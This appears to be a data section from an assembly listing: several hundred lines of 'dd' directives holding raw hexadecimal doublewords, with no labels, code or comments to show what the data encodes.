dd 4F009C70h, 1D551211h, 309157h, 9905CDB6h, 0D1DAD587h
dd 0C79A8C00h, 0EAC3C28Fh, 2E06F47Eh, 17EAFEF4h, 36B44027h
dd 0E0AC308Ch, 342880C7h, 4509E67h, 0B616BAh, 0F4FBF7Eh
dd 0C9FC86FDh, 33E8BE00h, 783E0D25h, 78FE81Ah, 0E0242FDDh
dd 0C69B20BCh, 360011B3h, 0CB5DC032h, 0EA339895h, 89240FDFh
dd 54603A1Bh, 0FF72631Ah, 8C0C0B2Eh, 0BF9FDB00h, 3C1C18D0h
dd 3F26CC90h, 86540080h, 76C9D3B0h, 5F200907h, 0A2B763A3h
dd 225DCD30h, 3E501C0h, 0D8B05AF8h, 0D34283BCh, 80DE0E17h
dd 0E67A736Dh, 388D3DD1h, 2E66DC00h, 9CD9D23Bh, 0A4F11100h
dd 0D73F9337h, 3D3F6E4h, 9771E55h, 0FCBACF81h, 1BF8C80h
dd 20CCE86h, 20930B0Fh, 9DA103AEh, 6EA812A5h, 0AC5A4C00h
dd 0C606F7A6h, 0C973001Eh, 3A3F65D8h, 0EB74C238h, 431E2CF8h
dd 0B84090A2h, 8ADE48ACh, 15F1005Dh, 62F7E14Ch, 951D54DBh
dd 6E011CD5h, 0E70D781Eh, 0F0974060h, 0A8960B02h, 0F84BDFADh
dd 0F387DD8h, 30F9E700h, 98359399h, 0AE630029h, 495AE2E9h
dd 9B003603h, 8673CDEFh, 0DED941h, 3431A998h, 3A5D9D2Ah
dd 0F08C4901h, 8E03B84h, 0C0D205F1h, 82545644h, 19F1BC60h
dd 0DC762F00h, 0D0A9B46Eh, 99280A5Dh, 9412EFh, 93FF6C9Dh
dd 1600ADE7h, 871FD796h, 26F36h, 0C1A67761h, 41BD635Ah
dd 0F2E98800h, 0E76F383h, 83A0093h, 0C86DAD8Eh, 630091FFh
dd 0C7707898h, 0D4E7F6h, 56B71E34h, 0E072629Ah, 0BD009D7Ah
dd 8195B4D8h, 733ECDA3h, 1E57F82Fh, 80872443h, 20C9F2B5h
dd 0C0BF6ACEh, 0F2FDE1B3h, 801B0032h, 4A998638h, 2E00D9A2h
dd 0D685529h, 0A1185Dh, 239D31DDh, 77FCD058h, 0BAE030EBh
dd 0B806A900h, 1DC50A75h, 3372E6h, 9B776895h, 2A87C654h
dd 0C15F6B16h, 0FAAD84Bh, 60F80050h, 662F62h, 0DA31AD33h
dd 7AD9689Ch, 0FFB92800h, 73B1AB15h, 748F0F3Eh, 86E042A7h
dd 675BC184h, 25B92403h, 0F00AF166h, 6BAE6Ch, 7264922Fh
dd 0F0A8176Dh, 9AD45000h, 0AD0B8D04h, 0FA82008Ah, 19AB62E1h
dd 0F09FD1Eh, 81042C84h, 0C763FEE8h, 781E8C8h, 0AE035869h
dd 0E9A4B0CEh, 0D0123ADBh, 0A03F5D5h, 0C0788175h, 0DF3720h
dd 89A989Fh, 52A9C71Ah, 0CDE35C00h, 0FCBD70D5h, 5526399Eh
dd 0CCDFC880h, 42F33883h, 9F9C7903h, 0FF3D1477h, 8608E6h
dd 0DB33BE5h, 98F1F7DAh, 5300F5EAh, 0ED88C4E7h, 0B02930h
dd 37232647h, 0D6152A2Bh, 93CF2700h, 0D57DEBDAh, 0BC4B0034h
dd 2359331Fh, 0FE01A2B4h, 750A7CEFh, 0BBC46F22h, 37E7009Ch
dd 6BD2F22Eh, 5E00CDDCh, 846664DDh, 10B8E3Eh, 0C4B335BBh
dd 30890408h, 3A00AFBDh, 44B04503h, 1C3B5070h, 3A08BFD8h
dd 0A58E2E80h, 7D097AF4h, 25024909h, 387A00DCh, 1633DE72h
dd 0FFC19h, 1F46F45Bh, 200FB427h, 0E09E767Eh, 8FCF022h
dd 0A29000B8h, 0C894A131h, 70008964h, 336A5973h, 12046D9Eh
dd 0E8EE76h, 0D43A5850h, 63587D8Dh, 0B5DF007Fh, 80C41336h
dd 4DA600CAh, 8F5DD84Bh, 0F0F6BAAh, 0E05F436Eh, 0EDCD5C82h
dd 0F08813D7h, 19A60079h, 177AF513h, 32302300h, 0FC751528h
dd 0F8F70F4Ah, 0C4E0374Eh, 0E2EFEE61h, 0AC3BEAF8h, 63F080C5h
dd 748C9B10h, 0DD0600B3h, 3978447Fh, 97E8F348h, 0ED5F0A03h
dd 0E8E69202h, 0FE24D9h, 0A7068BD2h, 0AF75A889h, 14217E00h
dd 961FBF2Eh, 0B7B90F6Fh, 0AC408CE0h, 5FB35FAh, 17A02900h
dd 0D319CBD8h, 0E99B00EAh, 429779C8h, 0CF00724Bh, 183B66B1h
dd 14D98E4h, 0E3752639h, 0C880311Ah, 0F500230Ah, 0E7D0D920h
dd 3F9A9CBh, 8E97AF8h, 479869FCh, 54008D96h, 2D632398h
dd 0D78861h, 7E122BC8h, 0FE64263Ch, 4F056C00h, 595452DCh
dd 7C3200CAh, 564CA615h
dd 3800363Dh, 0F19FE27Eh, 233980h, 4FDB508Fh, 660F096Ch
dd 5888B00h, 270C8CE1h, 65A60017h, 5CD0A1ABh, 8100BA0Dh
dd 0A897016Ch, 6710FFh, 27F1B52Ah, 2D83A315h, 1D248538h
dd 0A680F259h, 1749B7B1h, 0C4B0FCBh, 2C206D48h, 7220ADBBh
dd 9BC59D04h, 0F2C038F2h, 52284Ah, 0FDC1D670h, 0E2C09998h
dd 0CAE4341Fh, 20B11A4Fh, 8B17D43Ch, 68980056h, 0C29441F0h
dd 0ED16DAEEh, 71002FBBh, 0C0AD2A3Ch, 6D1100CBh, 0EAB084E6h
dd 400C9B37h, 401C028Dh, 0D2102E43h, 0D65D006Ah, 6FD4E691h
dd 1D843148h, 0C3004FA9h, 2F67434h, 16E699h, 0E759D703h
dd 0AF1F694Eh, 927DEA1Ch, 26A79B01h, 5D00CB4h, 97AD0043h
dd 0DB27E1A2h, 3100687Eh, 54554A3Dh, 1EE059EFh, 4388A064h
dd 95E7FD0Dh, 91C7A8C8h, 58145604h, 80BEFBEAh, 5B74301Dh
dd 765D2C01h, 0A17084B8h, 42FCD080h, 727E8723h, 0A8FB3A06h
dd 1B85E61h, 753E1B98h, 701CA657h, 181FA0BDh, 0C300B37Bh
dd 0FB477655h, 0E69007Dh, 427E4071h, 9900BDA2h, 0FEC5FAB9h
dd 0FF044D4h, 1EF20F47h, 66FD4940h, 2A38FB0Dh, 9C8860E5h
dd 0E448C4h, 147A6996h, 9A10A9FAh, 460B3D00h, 0A0D5AD53h
dd 35372CD6h, 0EED030F4h, 0E3033C86h, 52563123h, 0C8E93A46h
dd 1F6128D0h, 0C01C7A2Fh, 6D1822A2h, 420EC594h, 20A7632Dh
dd 17590649h, 610918ADh, 0E2B5D678h, 0D5BD7B0Fh, 8BCA2037h
dd 1E968186h, 0C0BB63EAh, 60B8A162h, 0BE00AEBDh, 89A6D392h
dd 1BF4F1h, 2B2F4E35h, 8F9156BFh, 76735300h, 0DCB3F57Dh
dd 0E3100DEh, 0ED8AD9D3h, 4C1E1F64h, 814093F9h, 41B9B09h
dd 4F280091h, 2203F046h, 0A200C970h, 49655259h, 1FBA1CE4h
dd 4113661Fh, 0B536F477h, 0F6D7D074h, 0A1E44D07h, 4A100B9Ch
dd 1D01144h, 756DA80Eh, 0D05A79CAh, 9E014225h, 7B38271Ah
dd 3980F9BFh, 0E10903B6h, 0C200430Ah, 2502499h, 91057Dh
dd 0A9DF46D1h, 0E9521748h, 0FB1FB60Fh, 0F051017Fh, 1420440Dh
dd 0BD472649h, 796007FDh, 64DA63C5h, 0E44E93A0h, 7046FC00h
dd 7BBC119h, 750B1D23h, 0FDA18CE1h, 0AE00FC80h, 423DE78Dh
dd 0D3F084h, 0A227DAC2h, 1BE3DB43h, 0C8D13200h, 34F72321h
dd 79916009h, 900BFAA9h, 0CF877D01h, 0B17B3EE5h, 625197F0h
dd 444D20DFh, 0D35E7F60h, 8115233Eh, 32C2BEFAh, 2080FB16h
dd 90CBF79Eh, 0F000B04h, 1C520A23h, 3D63724h, 7EC29FB1h
dd 187F07C3h, 65004876h, 0FD2D6A73h, 600F50h, 4FE45DC2h
dd 7F68F70Ah, 0ABED612Eh, 1F145E00h, 183A21Ah, 1653ABC1h
dd 0CCF98251h, 7800EAD0h, 6CAA2B86h, 1F3A909Ch, 7E057580h
dd 3F564500h, 86A39961h, 0A50FFB00h, 0F385AE52h, 22CE00CAh
dd 0C66C4A32h, 0E62612B1h, 0CD00D890h, 0D46ED789h, 395B0734h
dd 40D64B8Ch, 80FBC1CFh, 10965300h, 0D8AA7989h, 2A0D0067h
dd 12D49238h, 8500E91Ch, 0A51AD3A3h, 75E4B4AFh, 0C43C007Ch
dd 30BC7AF7h, 226034ADh, 906BEC10h, 0D82C001Eh, 0CC13918Fh
dd 0F10088D6h, 1C5551D3h, 2A89BBh, 0F0548EECh, 10B90EF5h
dd 65FA4100h, 2143805Fh, 957701ADh, 8F423BFCh, 0CCFF61ECh
dd 5900166Fh, 1045CCBDh, 90A854A5h, 0D6F2000Bh, 8A8774AEh
dd 5907551Bh, 3A664760h, 0A80F1EA0h, 0A5B90027h, 0CC1295D4h
dd 37001BEAh, 96E2A025h, 0C417EA2h, 0FDED0AC1h, 0B07FD098h
dd 2C308B60h, 0F8E1105Eh, 0A24B00E5h, 2E4A3AC7h, 557CA0BCh
dd 74E3EF01h, 2DED547Dh, 0F88E24F4h, 1947CDCh, 2096C5F5h
dd 84EF9985h, 0FBCE5159h, 2213A204h, 5A0810A6h, 20947144h
dd 0B62152B8h, 106B04B1h, 0B8110ACCh, 0B9215930h, 0D3E680DDh
dd 0A1213F9h, 947A1378h, 0C2889D2Ch, 0A25F6E93h, 0FDAA4F18h
dd 831BD01h, 0F9212075h, 1084CA7Fh, 10A0C796h, 58825440h
dd 2E02903Eh, 4AB813EAh, 20109B30h, 5409E2C9h, 202F8096h
dd 0AA5CC00h, 30FB977Dh, 0B1006868h, 0D09C452Fh, 1CCDD10h
dd 0BF0295D1h, 80A8FF5Dh, 79341E50h, 92CB85B6h, 284B003Ch
dd 0EAF571FDh, 0F6B06C0Dh, 0FB7D4800h, 13E4DCD2h, 0D5B30075h
dd 3F31AC30h, 9800013Bh, 0C42937EDh, 0FE949ACEh, 487F15h
dd 0A60B1CF9h, 0F3985D54h, 0D9ECE0C0h, 58455C82h, 3901F0A9h
dd 0A319B6D7h, 26E0FFA8h, 0C97E89F3h, 349FE304h, 1C841CC4h
dd 713B0FAEh, 830EE7E0h, 0A100D347h, 56FF0C80h, 0B2468Bh
dd 36ECF6DAh, 8EE083A0h, 0F2643000h, 0BBE4DEB0h, 0FBE69Ah
dd 0BFD13E44h, 0D2AEB96Bh, 2C86F800h, 6D5B5F3Bh, 0C9312CDDh
dd 5165000Fh, 0F70685B4h, 7C5D38h, 0FF1796E7h, 0C3B519DAh
dd 33541418h, 578C0800h, 64B46843h, 718007Fh, 0C32CDE3Ah
dd 0E87B12EEh, 264AFD00h, 0C77489Ah, 2FEC0056h, 65A988E9h
dd 550F86B5h, 4053EDE8h, 0D18AF6CEh, 5A3D005Bh, 0BD02B0A1h
dd 9F0F963Bh, 868E06FFh, 780A6Ah, 23CE4516h, 91CB04EFh
dd 38FF0818h, 201390h, 26A6DDF1h, 0CE7E386h, 555E40Bh
dd 0C12C8C96h, 0D809390Bh, 8647EF9Dh, 181891EAh, 20F75D51h
dd 7B005380h, 948BC972h, 249A08h, 668193E4h, 67AB3D9Ch
dd 0C99883E5h, 88147F47h, 50B5C5Bh, 0E52C6463h, 905C72h
dd 6FFF4C68h, 0C012FE6Eh, 0E8019EC6h, 88825790h, 1E8758E0h
dd 400FCBEDh, 0F611E7ECh, 40F2760h, 0A00B9E81h, 0A61A6C48h
dd 0C44A00ADh, 2B8705A4h, 37007823h, 0F612DB49h, 9FB569h
dd 0BEAC7D0Fh, 649EC446h, 169B5924h, 0D73A3E00h, 6AE947h
dd 0B462EBF1h, 4953E89Ch, 0DF0C8200h, 69E53284h, 0A4093B2Bh
dd 651E4E80h, 0C858F20h, 60995F00h, 1250935Ch, 0DCB400A2h
dd 0CD0A73A4h, 6F00F841h, 0E73ABAE0h, 5DABFF2h, 582B0616h
dd 9A1BC018h, 9C60B1DCh, 98122668h, 854B0AE0h, 88EC9Fh
dd 0E74AC9F1h, 0FC00A330h, 2BC32803h, 93960Ah, 5AC6F03Bh
dd 3E09AE4Ah, 0D2A9B000h, 0DCCFA337h, 0E1D800EAh, 6036E597h
dd 650003E0h, 63EB9D7Ah, 7C5016h, 148AB4C4h, 0A2057718h
dd 87DACB00h, 0C3D395AEh, 4BD700AFh, 0F3571491h, 5D76DE54h
dd 6DDD9800h, 0C047F08Dh, 0C3C20F30h, 0EB80CAF4h, 51773680h
dd 0E0E35707h, 80EFC822h, 81165BD4h, 12E8F8DDh, 0D5B208h
dd 233D523Fh, 0F800289Ah, 0EAF28AB9h, 608073F4h, 0D67498CCh
dd 330F7B57h, 0E16D32C9h, 782608F6h, 719C25F0h, 8A6C0715h
dd 0E018241Fh, 34E13B10h, 58E63607h, 5E705C83h, 201D10Dh
dd 1147A264h, 7C906A16h, 4904F0C1h, 0F93EB813h, 81257020h
dd 72D140Fh, 9DB320DEh, 0D0D157h, 90E7B87Ch, 567DC5Dh
dd 8A41EF1Dh, 3B479D8Eh, 270D870h, 48BF0139h, 699ABD3Eh
dd 2D38F0EDh, 28A3C70Ch, 0ECEAF011h, 16830749h, 0F3F40171h
dd 64A10E18h, 29208027h, 4F6F3A04h, 149062h, 0ADDF1387h
dd 5EEC1BE2h, 0E9ED2100h, 90C5C4AFh, 718400D9h, 9ABE6ECAh
dd 0A10E46D4h, 20669DA5h, 0B94978B0h, 22EC006Ch, 34433329h
dd 0DCB01F6Dh, 0D90D621Eh, 4A93C587h, 0B1B045E7h, 28611h
dd 90E42123h, 3A82BCA2h, 9D27DD3Ah, 458030CCh, 84BAC905h
dd 10170902h, 8603AF77h, 0A199EE36h, 9C29D0BFh, 0A2465300h
dd 18474BC2h, 0B5D70060h, 11CDFCB9h, 19003F0Fh, 22022EB7h
dd 30732Ah, 0D46A2D70h, 56E4477h, 86E7D500h, 0B9C566C9h
dd 375938D2h, 8800E038h, 8B5F5B40h, 28071024h, 0EBFB0D5Ch
dd 33A21820h, 15D1004Ch
dd 17D7CB74h, 440064BAh, 0D6EF6E81h, 74E2356h, 75EDFFF0h
dd 0BF6D1030h, 2D008368h, 20D8B07Ah, 0BA1D93h, 3124D715h
dd 59D13582h, 9666A307h, 924061B8h, 0E6ACC7Fh, 0D80D9F34h
dd 1CA0E1AEh, 79586571h, 74DA58h, 8A1F70E3h, 0E8E12188h
dd 0C5BB007Dh, 99794289h, 0E03AF9F7h, 0FD1D0095h, 0DDCA3126h
dd 0D67E00EEh, 0CC510D06h, 0BA3F3022h, 0C80072FFh, 0A62B0AAAh
dd 0B02444FEh, 7FE13D21h, 7DAC5200h, 6BC43553h, 0E67FB490h
dd 7C1F5601h, 58449946h, 38A8CCC4h, 941CDA67h, 7400BE41h
dd 9F9E4920h, 0A507C42Ch, 6CA2CDD9h, 2471C2C0h, 60D000BFh
dd 75B802A8h, 67004A82h, 0F82EAA63h, 17E849h, 352CC0C6h
dd 16A05AC2h, 432AB807h, 90E0DCF4h, 0C71398h, 25B164B6h
dd 159D12F3h, 0CAA1E900h, 604FFB51h, 0B990048h, 0FCCB5B7h
dd 0BC3A3910h, 6388FA4h, 4DD78031h, 0A1C8E1h, 0F8611D58h
dd 7F1BFB8Fh, 4ED0080Eh, 0E0DA6E72h, 9B0AD1B4h, 5F280114h
dd 0B7241739h, 0B5B0D0BFh, 3701A17Ah, 0E9F0604Bh, 3BC007F2h
dd 0CB0F0038h, 4CC1F527h, 4E009FB0h, 2298C4Bh, 0C86D46h
dd 0C389A390h, 0FEA286D3h, 4C1EEA1Fh, 16F3A900h, 7888C3Bh
dd 74B8F446h, 0FFDE701Fh, 0E0009D4Ch, 7B1685DAh, 46B18Ah
dd 55BA24F8h, 11089567h, 8BC4D900h, 51D2184Ch, 54AA002Ah
dd 0F972750h, 0C10087CFh, 0C794E88Eh, 0FF2C65h, 90BA3B86h
dd 1DCEA21Eh, 8BC03901h, 26C69AF8h, 0FD65C60h, 0B2D96832h
dd 2743EE80h, 2A0089F6h, 2C6250BDh, 80320Dh, 4F764C63h
dd 593397Eh, 4819B113h, 0C2B20800h, 90B59682h, 816300F5h
dd 4056C7EFh, 0F000615Eh, 0B8B99784h, 39E8D5Dh, 8F59A4A6h
dd 94F0240Dh, 0A200EDF5h, 0E7831B60h, 2CBA2Fh, 0A515DF05h
dd 196B7F36h, 160AA800h, 250FC331h, 0C9C600D7h, 0FC99DB84h
dd 9AA0AF4Fh, 0C7067C7Ah, 6CA031B0h, 0F99A0098h, 0A8C20F45h
dd 910795FAh, 0E7303CDDh, 0D4A4B6D0h, 4710064h, 2B2A8131h
dd 8E037ECFh, 9D3C8D88h, 0A49EE8A6h, 0F8BC0048h, 6BAC67EFh
dd 0FA4C7C0Eh, 25518418h, 0F420654Fh, 5C7299B4h, 0A0B88100h
dd 570E90F2h, 0FD000B9h, 0E6F6795Bh, 0A498335Fh, 80C69438h
dd 0DE6B6F7Ch, 0A39B31h, 0DFC16EEFh, 82837A18h, 0A9228F0Eh
dd 4EE5C02Fh, 5440CFh, 0F7CE122Eh, 859DB646h, 2AD55000h
dd 86B86FB7h, 2ECA075Dh, 538801F6h, 0E800FF3Ah, 36074F1h
dd 85206Ah, 33A9EA2Dh, 69BA3B6h, 549E0826h, 0F480A003h
dd 6C680168h, 81D92D47h, 0B123E0E1h, 2EEF0D01h, 4E1CF7CAh
dd 0C7F6C4h, 5EAABE2Fh, 5115B4A0h, 792E1B2Ch, 0E8E26A00h
dd 39F666Fh, 0EE7CFDFh, 0D4C03689h, 26004291h, 6C00BD8h
dd 23EA10h, 4AF41FF6h, 440AFE22h, 1600387Fh, 0E5AFA37Fh
dd 3D765E4h, 0F44705D3h, 0D6A8C453h, 96C1D414h, 0A5ABBB4h
dd 7BECC9CDh, 6AD0069h, 8F1982F5h, 79031CF1h, 0EBB990ECh
dd 3865E068h, 91C639A1h, 0B4072285h, 3B3FC05Fh, 18262987h
dd 3C22D1h, 0AA3F9ECEh, 2E5CB7CAh, 1DA3A88Eh, 0E93C4059h
dd 19C8BA0Ch, 1126D200h, 63B2FA0Ah, 0E2D40002h, 66358D8Bh
dd 7B1818E3h, 0BDE8F2A2h, 4C88489Dh, 4041761Ch, 9E1666D0h
dd 0BC0084C8h, 0C2983E26h, 731B94h, 4ED775ACh, 360FF638h
dd 20AAEC07h, 795028B2h, 0CB1FA1h, 0A0536EC4h, 315DC369h
dd 0CE992900h, 0C9E1AB59h, 0FBECFF50h, 45A6002Ch, 589A68A9h
dd 2300C536h, 9001A5F5h, 0D69E94h, 30D779A8h, 0D4BAC237h
dd 43C3C400h, 0E0F32156h, 0A5E43D31h, 0AA1BE800h, 0ED6FD14Fh
dd 8E39FD00h, 0A2B515DBh, 579A00A4h, 9E811066h, 0A00AB2Eh
dd 0EBDABEA0h, 3F479FCh, 390140F8h, 2CF089D7h, 9800E7E2h
dd 0AA05D64Dh, 0F6736A6h, 6B0C94F8h, 0B2DA1880h, 600CF3Ah
dd 0D3551527h, 879BA6h, 0FB2512F2h, 0EA0B4B75h, 0E8BF7900h
dd 32D9763Eh, 4E191F15h, 0E1B9C0CEh, 5C895388h, 0D03FA901h
dd 837D1FC4h, 5FF82A87h, 9FF770CCh, 0F10054FFh, 25B560Ah
dd 0E9BDA7h, 0BF2C8BE5h, 3F5079F8h, 7F35F101h, 2029A848h
dd 3B68C9F8h, 798066E8h, 43BC630Dh, 70E407ADh, 932CF3F0h
dd 803C859Eh, 0D314BEFCh, 1DECE7BDh, 0C01CB0DCh, 0D789171Fh
dd 0B800780Ah, 0BD6067B1h, 6736AA41h, 50E64003h, 0F6DACDFBh
dd 5E76D800h, 833B40D9h, 7FDB2C44h, 0ABE300F1h, 7808A17Bh
dd 630592ECh, 0B97201EAh, 0C349914h, 0A00331A0h, 0D7736h
dd 14DC0B73h, 616B79F0h, 51640600h, 215C5276h, 0D7190024h
dd 0E9AC780Fh, 8100BD3Dh, 473C7D4Bh, 0BBE089h, 0C7F1D6B3h
dd 0AADE6FD9h, 4DA27900h, 0AC907680h, 30FD0065h, 295141DAh
dd 0E7FA04AFh, 2B34CC01h, 8A776394h, 7E8D24E0h, 5CB7E06h
dd 1158B64Dh, 0D4D90193h, 0A4FD4FC3h, 720038B6h, 0C7DCF58Fh
dd 1F76008Dh, 744ED35Fh, 683814CDh, 0F3D20193h, 3189E3ACh
dd 4F2F4h, 0EF5884B3h, 3ADA7322h, 9F49BB00h, 0AC5DA56Dh
dd 70B600CFh, 0C4A8F2DEh, 0DD00D0DBh, 4D366489h, 0E867257Ah
dd 3C710172h, 280E57C0h, 0D007D0F0h, 311E0C00h, 0FE8A5046h
dd 518000CAh, 21E0DA36h, 81007695h, 7E65A13Ah, 1779FD7h
dd 0BAE40122h, 0E7238204h, 0C10730AEh, 85736E92h, 7446CA20h
dd 0DC6D3D2Ch, 55585900h, 0DB28CB88h, 93C1B48h, 7B49Bh
dd 0EDF1261Fh, 5C731F94h, 592E80C9h, 77A48F06h, 62D9BA01h
dd 0F975F1FCh, 3B0C96ECh, 8B8049BFh, 7012353Bh, 4D186259h
dd 365810E3h, 232D01FAh, 5CBEBF67h, 91D0F795h, 3A032F3Fh
dd 4C26510Eh, 0ECA8D864h, 508E00C8h, 2BCEB35Bh, 7D39C18Ah
dd 13DB12AEh, 51022400h, 3C30A2DFh, 5700E97Ch, 0E0AA0FBFh
dd 0C00056FBh, 0ECD0BA8h, 74A8816h, 10C31E9h, 0EA35B09Ch
dd 80F3A6E1h, 0D893E848h, 8705BAh, 0D7FA1577h, 365560B2h
dd 0FC8DEA00h, 0E7ECB69Fh, 6E5D0322h, 0BF1EADB5h, 497DC80h
dd 0CA85D31Ch, 28756780h, 5EAE936h, 5CC8219Bh, 5E0EAAD7h
dd 60F240CBh, 1C2D8130h, 40A285A8h, 10B5015Fh, 3E7E0DABh
dd 6E683600h, 869CF576h, 0F720C0A4h, 2EB0357Fh, 0CB9D3F00h
dd 9F5B3925h, 920E03C5h, 7F0F4DD5h, 0BC14E80h, 41F51507h
dd 0E087E2BAh, 657E61D0h, 0C99D30B7h, 1644D571h, 102783Eh
dd 173418B9h, 0A3DC3B31h, 0AC570239h, 0A2CF8C1Dh, 3D848C60h
dd 0D4F1890Fh, 8AAB60AAh, 0EC886062h, 67C00096h, 0E26C0455h
dd 74067FD7h, 0A7B438A6h, 0F7E868h, 7ED39E80h, 64D94F7Ah
dd 9BBE6A00h, 90727755h, 8F433EE1h, 18A3FF80h, 2F1C1D07h
dd 80569C07h, 50703C27h, 1E75D7Ch, 0FADBC3B7h, 85EA1DAFh
dd 3740AA60h, 0BCF3C80h, 87510045h, 0F4E5EFC1h, 0DA005D63h
dd 92A2D839h, 4C9FFh, 68B25CD2h, 5FE5B57h, 0ABCC7300h
dd 0EA525890h, 38C3386Dh, 0C899EF83h, 580016F4h, 0DD2B8C9Dh
dd 3A2DBB46h, 6B80AC53h, 164F84D0h, 36727D10h, 0B18E7000h
dd 0DA2B7C3Fh, 1562071Bh, 60E61D64h, 0ABE1B831h, 54671600h
dd 0CB6FF0A3h, 961A03FFh, 0FAA52CF1h, 0BC0020D6h, 8469DEF9h
dd 1E393345h, 0C1DB1A24h, 0A6B8F707h, 2A57ECCCh, 20B03700h
dd 29E89316h, 469A00C4h, 0C35C182Ch, 3C1E5551h, 7396E4DAh
dd 8C77E503h, 0D71EB805h, 10B3001Ch, 2A54624Ch, 0AE00A599h
dd 5EB8B42h, 7107722Ch, 0BA880182h, 54FD7FC2h, 36D8DCFCh
dd 264F220Ch, 33E8A8EBh
dd 0B34020BDh, 29435F0h, 0C94B560Ch, 8020F4h, 0DB7F0643h
dd 0B0A7D26Ah, 4400EC70h, 420F0DEFh, 73D0FFh, 0ABC08548h
dd 0DC2D7112h, 0F5006F7Bh, 0F070FAEAh, 34D922h, 6E733B72h
dd 991512BDh, 0A99A560Ch, 60A53884h, 126912Dh, 1E009378h
dd 3B9D1F54h, 0DEDF4237h, 0E1D661h, 9AB57D4Ch, 70792F5h
dd 0FD0E583Eh, 20800F34h, 0D2CEA1h, 655706DBh, 0C1DEE191h
dd 7C4A0500h, 0FA0BA46Eh, 3DD902EEh, 8682EBC3h, 64CAE1C0h
dd 18EC5E30h, 73E43302h, 41603AAh, 0C421449Ch, 4EB81D90h
dd 0E002E5EAh, 81BEBDD0h, 7001E06Eh, 693D1CC5h, 8F6D1E04h
dd 0DBA029A5h, 7E0A39EDh, 5D58DD60h, 0F13A74h, 0B5C15B91h
dd 8A9DA98Ch, 2AE87D00h, 80B7AB55h, 2DBA00DBh, 0E44DEF9Ah
dd 5403936Ch, 0D07E4295h, 8B38C071h, 3DAF00F2h, 57B0EEA4h
dd 0D500F8CFh, 0EDF46BA7h, 0EFF5DCh, 0A346B3B8h, 0CE13EB74h
dd 0AB176D18h, 279429h, 76F7597Dh, 11473A58h, 71ECFE0h
dd 0B54044A3h, 2D194BEAh, 6E9B0ECCh, 3E18264h, 0ECF273D8h
dd 0C00F891h, 0AE939FB8h, 1BE586Ah, 3935E7D2h, 47A0C911h
dd 69C5A034h, 0B700F4B2h, 0F57047F7h, 473EA65h, 24872A02h
dd 0DF5AC0CBh, 90003316h, 0FB9247BCh, 36144Dh, 57E4EAFCh
dd 72527BD0h, 7A3F1B00h, 79EC85D5h, 48A202BEh, 3EE9531h
dd 8A9B1E40h, 0CC08B300h, 854937F0h, 0E0501FDh, 0E959FE4Fh
dd 0E1BCFD28h, 0E6B4D853h, 6FDE6E03h, 0E03C50FDh, 14765AA5h
dd 20F8213Ah, 0B083CCA0h, 0CF4E3F86h, 36D03300h, 8ABB471Dh
dd 506B2D30h, 356A8CAh, 0F2804FB2h, 0D0971DBDh, 0B991FE4Ah
dd 0BE192900h, 9BD9E60Eh, 94B80Fh, 3CD4EC37h, 3E7AF61h
dd 0BBBA7003h, 0D8997EF7h, 3E21E4h, 10E0AB0Fh, 0D78880Ah
dd 0C2F79E00h, 17D04A3Fh, 76422833h, 0CEF085h, 159D8961h
dd 7B5FA330h, 0B5CC072Ch, 0A45BFF0Ah, 0C07E5780h, 50FE9F3h
dd 0A85C3353h, 85D2001Ah, 502362CDh, 6E2DE500h, 7EA9BF79h
dd 10172A7h, 0AA0EE19Bh, 0C029AD32h, 0DE7047E2h, 1807E57h
dd 391C7B45h, 21A80A7h, 9473888Fh, 7C3FE076h, 0CF50C039h
dd 61AA5C46h, 95471F00h, 0EBAE1211h, 0DFF40093h, 0DBB40AB9h
dd 8A00CE8Ch, 4AF17E74h, 143EEC7Ah, 0A0A5D576h, 42D6F900h
dd 0DB0D2429h, 9312DA00h, 9E23199h, 5B8F00E9h, 0DFB8E859h
dd 0C6783934h, 195C4D00h, 0E50258B0h, 0BBAC1DAh, 873766A9h
dd 29061141h, 0B63408C0h, 0AF823A54h, 64A80483h, 21B80C79h
dd 17F875B4h, 0A2E76D00h, 37C25443h, 0DFFE1DEEh, 70683732h
dd 0A6A5B41Fh, 0BFE6C006h, 0F2187D77h, 0D804AF24h, 0DA05527Ch
dd 76EA1035h, 1C6CCF00h, 3E4823C1h, 1198F9F8h, 0DC13E8D7h
dd 28C0CC3Ch, 4F0FB99Ah, 83CAACA7h, 0E5F5DDBDh, 53E13468h
dd 0A2050C5Ah, 6053C87Bh, 0CFBC9704h, 0B89B10C3h, 1F7EB8E4h
dd 0F770610h, 197D4FA7h, 1184DE76h, 8717E67h, 8A1E31C8h
dd 1D185EC3h, 1B042168h, 5B45734Ah, 5F0C044Ch, 0D1E52025h
dd 533C4067h, 9AE8B110h, 8520CB10h, 180A26B7h, 0EB880CADh
dd 7A084253h, 43C73085h, 647BDC48h, 7F6F310Ch, 42CF61C3h
dd 196334CDh, 33F62468h, 9719185Fh, 3104C08Bh, 0C8F3849h
dd 44ECB05h, 2057CC48h, 0C5BB854Fh, 2950D31h, 0DAB47B0Ch
dd 42184C27h, 0B49278BFh, 0C0302C2h, 483E87B3h, 22003D2h
dd 0E075B974h, 0C0DB3518h, 0E371B419h, 7CF87615h, 0EC7A63Eh
dd 9FECB7DCh, 208AB189h, 49282000h, 9D520063h, 0CF78A612h
dd 0E41FD36Ch, 0F54F2633h, 0D7A10032h, 72EB336h, 0DA5B27B4h
dd 81CB4492h, 0D414061Ch, 0B0A07AABh, 0E25441ACh, 2D004FC8h
dd 3DCA097Fh, 6DB939Eh, 42E177E9h, 0BB06046Eh, 790F1EB2h
dd 3AEAA1h, 52B60926h, 50C87A8Ch, 2747FC18h, 5C132588h
dd 121E2110h, 0E02BC179h, 83B9A8BFh, 0B19445C8h, 1CD8478Eh
dd 509B50C7h, 0F9AC5E15h, 48B18760h, 0F038AD6h, 0BADA7F35h
dd 7BACCF20h, 0A101FF78h, 0FC1AC379h, 5880231Bh, 2CAF56B3h
dd 6D00917Dh, 0B0B26CFEh, 1401D9A1h, 0C83F7B39h, 8695A980h
dd 0A0637F5Bh, 0A0FA8250h, 18D7F5D3h, 29150819h, 0F005E77Fh
dd 0F382CDBDh, 0B2CC3407h, 0A0C8CBA3h, 0B0EAD375h, 0D2860E2Dh
dd 3C208A2Eh, 0B7407B63h, 1E95C800h, 6220EA83h, 0B316075Dh
dd 60893565h, 0F347C397h, 0B85CE030h, 5C9DF68h, 0FB4EE553h
dd 369C0060h, 0AD9397CAh, 0E914C601h, 0B3F3C7C5h, 911834h
dd 0BA72AB69h, 0E2865FD4h, 88802F69h, 4D04683Eh, 0E6826377h
dd 409460h, 99578EE0h, 12EC0E19h, 56797879h, 0F5FE5800h
